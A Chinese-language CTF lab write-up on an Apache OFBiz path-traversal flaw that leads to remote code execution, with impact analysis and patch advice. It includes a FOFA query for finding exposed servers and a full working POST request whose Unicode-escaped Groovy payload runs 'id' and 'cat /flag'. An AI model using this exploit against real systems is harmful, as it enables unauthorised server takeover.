靶标介绍:
Apache OFBiz 目录遍历致代码执行漏洞,攻击者可构造恶意请求控制服务器。
该平台存在路径遍历漏洞,其成因是未对用户输入的 contextPath 参数进行充分验证。这使得未授权的攻击者能够通过精心构造的恶意请求绕过认证机制,进而访问系统中本应受保护的敏感接口,最终可能引发任意代码执行的严重后果。
漏洞影响版本
- 受影响版本:
Apache OFBiz < 18.12.14
- FOFA搜索语法:
app="Apache_OFBiz"
危害
- 未授权访问:攻击者无需认证,通过构造恶意请求,可绕过验证机制,访问本应受限的敏感接口,进而获取系统中敏感信息,如用户数据、商业机密等,严重威胁数据的保密性。
- 远程代码执行:漏洞允许攻击者利用
/webtools/control/ProgramExport
接口的编程导出功能,执行任意 Groovy 代码,从而实现远程代码执行,完全控制受影响的系统,可进行数据篡改、删除、植入恶意软件等操作,对系统的完整性和可用性造成极大破坏。
- 权限提升:攻击者可借此漏洞从低权限用户提升至高权限用户,进而执行更广泛的系统操作,对整个系统的安全构成严重威胁。
- 中间人攻击风险:攻击者可利用该漏洞篡改系统返回给合法用户的响应内容,实施中间人攻击,进一步获取用户敏感信息或向用户传播恶意内容。
- 大规模攻击风险:由于 Apache OFBiz 在电子商务领域的广泛应用,该漏洞的存在使得大量系统面临被攻击的风险,一旦被大规模利用,可能导致众多企业及用户的业务中断、数据泄露等严重后果,影响范围广泛。
复现
访问:
1
|
https://39.106.48.123:31276/
|

1
|
正确路径应该加上/accounting/control/main
|

这里显示你的ip为被加入到配置文件的相关允许配置参数中,所以显示了500,但是不影响后面操作,直接通过poc拿下。
可以看到一个 ERROR MESSAGE,出现报错,因为是非本地 localhost 启动,Headers 需要包含 Host: localhost
,所以把 Host 改为:localhost:port
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
POST /webtools/control/forgotPassword/ProgramExport HTTP/1.1
Host: localhost:31276
Cookie: OFBiz.Visitor=10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 262
groovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u0069\u0064\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B
|
得到 id 为 root,说明执行成功

这里执行的远程命令是throw new Exception('cat /flag'.execute().text);
用于获取flag
同样的 Unicode 编码
1
|
\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
|


1
|
flag{c95e8bc5-409e-40c9-bd82-b7234b2987fe}
|
修复建议
- 官方补丁:升级至Apache OFBiz 18.12.14或更高版本
- 临时缓解措施:
- 禁用
webtools
模块的非必要接口。
- 配置Web应用防火墙(WAF)拦截包含
%2e
或;
的恶意请求。
- 输入过滤:对
groovyProgram
参数实施白名单校验,禁止异常字符。